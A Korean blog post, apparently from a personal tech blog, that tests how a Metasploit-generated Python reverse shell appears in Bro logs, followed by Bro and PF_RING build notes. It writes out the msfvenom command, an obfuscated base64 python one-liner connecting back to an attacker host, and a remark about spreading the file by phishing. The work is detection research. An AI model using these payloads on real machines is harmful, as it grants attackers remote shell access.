reverse shell 통신시 bro에 로그가 어떻게 남는지 확인하기 위해 테스트 한 내용이다.


+ 테스트 환경

- kali linux(attacker pc)

- mac osx mojave(victim pc)



1. Attacker PC 


- metasploit 실행후 reverse shell 파일 생성

msf > use exploit/multi/handler msf exploit(handler) > msfvenom -p cmd/unix/reverse_python LHOST=1.1.1.1 LPORT=8888 > -f raw > shell.py [*] exec: msfvenom -p cmd/unix/reverse_python LHOST=1.1.1.1 LPORT=8888 > -f raw > shell.py No platform was selected, choosing Msf::Module::Platform::Unix from the payload No Arch selected, selecting Arch: cmd from the payload No encoder or badchars specified, outputting raw payload Payload size: 569 bytes


- 방금 생성한 shell.py 유포 (피싱)


- reverse shell 파일 생성시 사용했던 포트 그대로 오픈한다.

  현재 1.1.1.1 Attacker PC의 8888 포트를 오픈한 상태.


msf exploit(handler) > set payload cmd/unix/reverse_python payload => cmd/unix/reverse_python msf exploit(handler) > set LHOST 1.1.1.1 LHOST => 1.1.1.1 msf exploit(handler) > set LPORT 8888 LPORT => 4444 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 1.1.1.1 yes The listen address LPORT 4444 yes The listen port SHELL /bin/bash yes The system shell to use. Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8888 [*] Starting the payload handler...

 

2. Victim PC

이제 Victim에서 리버스쉘 파일을 실행


python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICwgICAgIHN1YnByb2Nlc3MgICAgICAsICAgICBvcyAgICAgIDsgICAgICAgICBob3N0PSIxLjEuMS4xIiAgICAgIDsgICAgICAgICBwb3J0PTg4ODggICAgICA7ICAgICAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgICAgLCAgICAgc29ja2V0LlNPQ0tfU1RSRUFNKSAgICAgIDsgICAgICAgICBzLmNvbm5lY3QoKGhvc3QgICAgICAsICAgICBwb3J0KSkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMCkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMSkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMikgICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp'.decode('base64'))"



Attacker PC에서 확인해보면 아래와 같이 쉘이 떨어졌고 커맨드 실행 결과를 확인할 수 있다.


3. BRO 로그 확인

- conn.log -

local_orig가 True local_resp가 False 이외에 다른 특이한건 없다.
session history는 다른 정상 통신에서도 많이 확인 내용..

이걸로 뭘 탐지한다는건 무리..


|source_type=BRO_connLog|time=2019-01-23 11:18:04|SRCIP=172.26.101.103|SRCPORT=52327|DSTIP=1.1.1.1|DSTPORT=8888|protocol=tcp|service=-|duration=7.359974|orig_bytes=5|resp_bytes=0|conn_state=SF|local_orig=T|local_resp=F|history=ShADaFf|orig_pkts=5|orig_ip_bytes=277|resp_pkts=3|resp_ip_bytes=164|tunnel_parents=(empty)


통신 포트를 웹에서 사용하는 포트 비스무레하게 변경하면 weired log에서 unknown_http , bad_http 로 인지가 가능하긴 하다.


통신 포트를 8888로 변경후 테스트한 결과 weired.log에 아래와 같이 남는다.

1548209891.693055 CdnplJz4oNCdFV623 172.26.101.103 52327 1.1.1.1 8888 bad_HTTP_request - F worker-1-18

1548210260.998129 CjMDhq438mrlFw2SP1 172.26.101.103 52456 1.1.1.1 8888 unescaped_special_URI_char - F worker-1-9

1548210260.998129 CjMDhq438mrlFw2SP1 172.26.101.103 52456 1.1.1.1 8888 unknown_HTTP_method Darwin F worker-1-9





# cmake 설치
yum install cmake28

# ipsumdump 설치
wget http://www.read.seas.harvard.edu/~kohler/ipsumdump/ipsumdump-1.85.tar.gz
tar -zxvf ipsumdump-1.85.tar.gz  
cd ipsumdump-1.85 
./configure 
make && make install

# 기타 필요 모듈 설치
yum install kernel-devel kernel-headers -y 
yum install make autoconf automake gcc gcc-c++ flex bison libpcap libpcap-devel -y 
yum install openssl openssl-devel python-devel swig zlib zlib-devel -y 
yum install openssl-libs bind-libs -y 
yum install gawk -y 
yum install pcre-devel -y  
yum install libtool -y   
yum install numactl numactl-devel -y  
yum install gperftools-libs gperftools-devel -y  
yum install GeoIP GeoIP-devel -y  
yum install jemalloc jemalloc-devel 
yum install curl 
yum install libcurl-devel 
or
yum install cmake make gcc gcc-c++ flex bison libpcap-devel openssl-devel python-devel swig zlib-devel perl
yum install GeoIP-devel

wget http://www.read.seas.harvard.edu/~kohler/ipsumdump/ipsumdump-1.85.tar.gz

# PF_RING 설치
wget http://downloads.sourceforge.net/project/ntop/PF_RING/PF_RING-6.0.3.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fntop%2Ffiles%2FPF_RING%2F&ts=1444096722&use_mirror=jaist

# mv PF_RING-6.0.3.tar.gz\?r\=http\:%2F%2Fsourceforge.net%2Fprojects%2Fntop%2Ffiles%2FPF_RING%2F PF_RING-6.0.3.tar.gz
# tar xvfz PF_RING-6.0.3.tar.gz
# cd PF_RING-6.0.3/userland/lib
# ./configure —prefix=/opt/pfring
   ==> libnuma 관련 에러메세지가 나올 경우 아래와 같이 심볼릭 링크 설정 
# cd /usr/lib64
# ln -s ./libnuma.so.1 /usr/lib64/libnuma.so
# make install

# cd ../libpcap
# ./configure --prefix=/opt/pfring
# make install

# cd ../tcpdump-4.1.1/
# ./configure --prefix=/opt/pfring
# make install

# cd ../../kernel/
# make
# make install
insmod ./pf_ring.ko
modprobe pf_ring enable_tx_capture=0 min_num_slots=32768 

export CFLAGS=-I/usr/local/include
export LDFLAGS=-L/usr/local/lib

# wget https://www.bro.org/downloads/archive/bro-2.4.tar.gz
# tar xvfz bro-2.4.tar.gz
# ./configure --with-pcap=/opt/pfring
# make
# make install


libpcap 라이브러리 링크 확인
# ldd /usr/local/bro/bin/bro | grep pcap
    libpcap.so.1 => /usr/lib/libpcap.so.1 (0x0000003471e00000)

#vi http-add-post-bodies.bro
  ==> 아래 내용 삽입

# cp ./http-add-post-bodies.bro /usr/local/bro/share/bro/base/protocols/http/
# cd /usr/local/bro/share/bro/base/protocols/http/
# vi __load__.bro

@load ./main
@load ./entities
@load ./utils
@load ./files
@load ./http-add-post-bodies <=  추가

@load-sigs ./dpd.sig 


'Server' 카테고리의 다른 글

User Agent 별 점유율  (0) 2018.03.29
CentOS 7 관리 - APM : Apache, PHP, MariaDB 설치  (0) 2017.07.11
nslookup, dig 사용하기  (0) 2017.01.08
umask란?  (0) 2017.01.08
Linux 사용자 계정  (0) 2017.01.08

+ Recent posts